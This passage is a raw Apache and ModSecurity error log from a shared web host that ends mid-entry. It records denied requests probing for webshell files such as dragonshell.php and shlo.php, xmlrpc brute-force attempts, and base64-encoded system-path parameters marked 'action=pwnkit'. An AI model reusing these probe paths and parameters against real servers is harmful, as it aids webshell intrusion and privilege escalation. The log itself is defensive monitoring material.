https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9tb3VzZTAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:31.080202 2026] [security2:error] [pid 531155:tid 531306] [client 191.234.188.123:63934] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/f2.php"] [unique_id "ai3w_ymiP80klyS0Nnrq-gAAAR8"] [Sat Jun 13 18:08:31.085840 2026] [security2:error] [pid 531797:tid 532128] [client 172.171.3.232:57534] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/dczem.php"] [unique_id "ai3w_8TA7b1mZrmcA-8SoQAAApM"] [Sat Jun 13 18:08:31.092298 2026] [access_compat:error] [pid 531797:tid 531874] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9nYW1lcw== [Sat Jun 13 18:08:31.092582 2026] [access_compat:error] [pid 531797:tid 531874] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9nYW1lcw== [Sat Jun 13 18:08:31.179260 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:08:31.179544 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:08:31.260804 2026] [access_compat:error] [pid 531797:tid 531922] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Vzci9zaGFyZS9nYW1lcw== [Sat Jun 13 18:08:31.261072 2026] [access_compat:error] [pid 531797:tid 531922] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Vzci9zaGFyZS9nYW1lcw== [Sat Jun 13 18:08:31.532283 2026] [access_compat:error] [pid 531797:tid 531868] [remote 57.141.14.42:64342] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:31.532581 2026] [access_compat:error] [pid 531797:tid 531868] [remote 57.141.14.42:64342] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:31.604000 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:08:31.604341 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:08:31.645698 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:08:31.646153 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:08:31.736158 2026] [access_compat:error] [pid 531797:tid 531891] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS90azguNg== [Sat Jun 13 18:08:31.736422 2026] [access_compat:error] [pid 531797:tid 531891] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS90azguNg== [Sat Jun 13 18:08:31.739557 2026] [security2:error] [pid 531797:tid 532069] [client 191.233.234.186:44752] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/dccs.php"] [unique_id "ai3w_8TA7b1mZrmcA-8SwAAAAls"] [Sat Jun 13 18:08:31.748887 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.30:59308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:31.749144 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.30:59308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:31.754214 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.76:30509] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:31.754502 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.76:30509] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:31.802952 2026] [security2:error] [pid 531797:tid 532120] [client 191.233.234.186:53477] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/dragonshell.php"] [unique_id "ai3w_8TA7b1mZrmcA-8SxgAAAow"] [Sat Jun 13 18:08:31.847952 2026] [access_compat:error] [pid 531797:tid 531913] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Vzci9zaGFyZS90azguNg== [Sat Jun 13 18:08:31.848409 2026] [access_compat:error] [pid 531797:tid 531913] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Vzci9zaGFyZS90azguNg== [Sat Jun 13 18:08:31.881592 2026] [security2:error] [pid 531155:tid 531212] [remote 17.22.237.101:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 101.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w_ymiP80klyS0NnrrCAABQzg"] [Sat Jun 13 18:08:31.930005 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.14:36902] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:31.930432 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.14:36902] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:31.992439 2026] [security2:error] [pid 531155:tid 531379] [client 172.171.3.232:44882] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/export.php"] [unique_id "ai3w_ymiP80klyS0NnrrDAAAAWg"] [Sat Jun 13 18:08:32.035028 2026] [security2:error] [pid 531155:tid 531361] [client 20.9.67.71:64716] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/wp-form.php"] [unique_id "ai3xACmiP80klyS0NnrrDQAAAVY"] [Sat Jun 13 18:08:32.058038 2026] [security2:error] [pid 531797:tid 532114] [client 172.56.168.133:7937] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xAMTA7b1mZrmcA-8S1gAAAoc"] [Sat Jun 13 18:08:32.058213 2026] [security2:error] [pid 531797:tid 532114] [client 172.56.168.133:7937] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xAMTA7b1mZrmcA-8S1gAAAoc"] [Sat Jun 13 18:08:32.093773 2026] [security2:error] [pid 531155:tid 531353] [client 191.234.188.123:48110] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/shlo.php"] [unique_id "ai3xACmiP80klyS0NnrrDwAAAU4"] [Sat Jun 13 18:08:32.094080 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:08:32.094359 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:08:32.150597 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:08:32.151066 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:08:32.217611 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS90ZXhtZg== [Sat Jun 13 18:08:32.218018 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS90ZXhtZg== [Sat Jun 13 18:08:32.338751 2026] [access_compat:error] [pid 531797:tid 531900] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Vzci9zaGFyZS90ZXhtZg== [Sat Jun 13 18:08:32.339196 2026] [access_compat:error] [pid 531797:tid 531900] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Vzci9zaGFyZS90ZXhtZg== [Sat Jun 13 18:08:32.499010 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.91:28956] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:32.499459 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.91:28956] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:32.514980 2026] [security2:error] [pid 531797:tid 531983] [remote 17.241.75.216:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 216.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xAMTA7b1mZrmcA-8S8gACXXY"] [Sat Jun 13 18:08:32.617934 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2U= [Sat Jun 13 18:08:32.618240 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2U= [Sat Jun 13 18:08:32.668754 2026] [access_compat:error] [pid 531155:tid 531241] [remote 57.141.14.34:41010] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:32.669036 2026] [access_compat:error] [pid 531155:tid 531241] [remote 57.141.14.34:41010] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:32.691813 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:08:32.692207 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:08:32.736997 2026] [access_compat:error] [pid 531797:tid 531895] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly92YXIvc3Bvb2wvbWFpbA== [Sat Jun 13 18:08:32.737441 2026] [access_compat:error] [pid 531797:tid 531895] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly92YXIvc3Bvb2wvbWFpbA== [Sat Jun 13 18:08:32.748516 2026] [security2:error] [pid 531797:tid 532006] [client 191.233.234.186:44788] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/wp-scanner.php"] [unique_id "ai3xAMTA7b1mZrmcA-8TAgAAAh4"] [Sat Jun 13 18:08:32.884167 2026] [access_compat:error] [pid 531797:tid 531969] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly92YXIvc3Bvb2wvbWFpbA== [Sat Jun 13 18:08:32.884611 2026] [access_compat:error] [pid 531797:tid 531969] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly92YXIvc3Bvb2wvbWFpbA== [Sat Jun 13 18:08:32.965438 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.95:27483] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:32.965741 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.95:27483] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:33.135424 2026] [access_compat:error] [pid 531155:tid 531187] [remote 57.141.14.94:28784] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:33.135977 2026] [access_compat:error] [pid 531155:tid 531187] [remote 57.141.14.94:28784] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:33.157304 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:33.157771 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:33.229611 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:08:33.230053 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:08:33.259454 2026] [access_compat:error] [pid 531797:tid 531991] [remote 57.141.14.61:58258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:33.259921 2026] [access_compat:error] [pid 531797:tid 531991] [remote 57.141.14.61:58258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:33.273871 2026] [access_compat:error] [pid 531797:tid 531898] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvbGliNjQva3JiNQ== [Sat Jun 13 18:08:33.274316 2026] [access_compat:error] [pid 531797:tid 531898] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvbGliNjQva3JiNQ== [Sat Jun 13 18:08:33.382366 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvbGliNjQva3JiNQ== [Sat Jun 13 18:08:33.382672 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvbGliNjQva3JiNQ== [Sat Jun 13 18:08:33.478201 2026] [security2:error] [pid 531797:tid 532048] [client 172.171.3.232:55107] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/wp-wlx.php"] [unique_id "ai3xAcTA7b1mZrmcA-8TQAAAAkY"] [Sat Jun 13 18:08:33.494871 2026] [security2:error] [pid 531797:tid 531997] [client 191.234.188.123:48023] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/xwx1.php"] [unique_id "ai3xAcTA7b1mZrmcA-8TQgAAAhU"] [Sat Jun 13 18:08:33.569981 2026] [security2:error] [pid 531155:tid 531238] [remote 17.241.219.69:0] 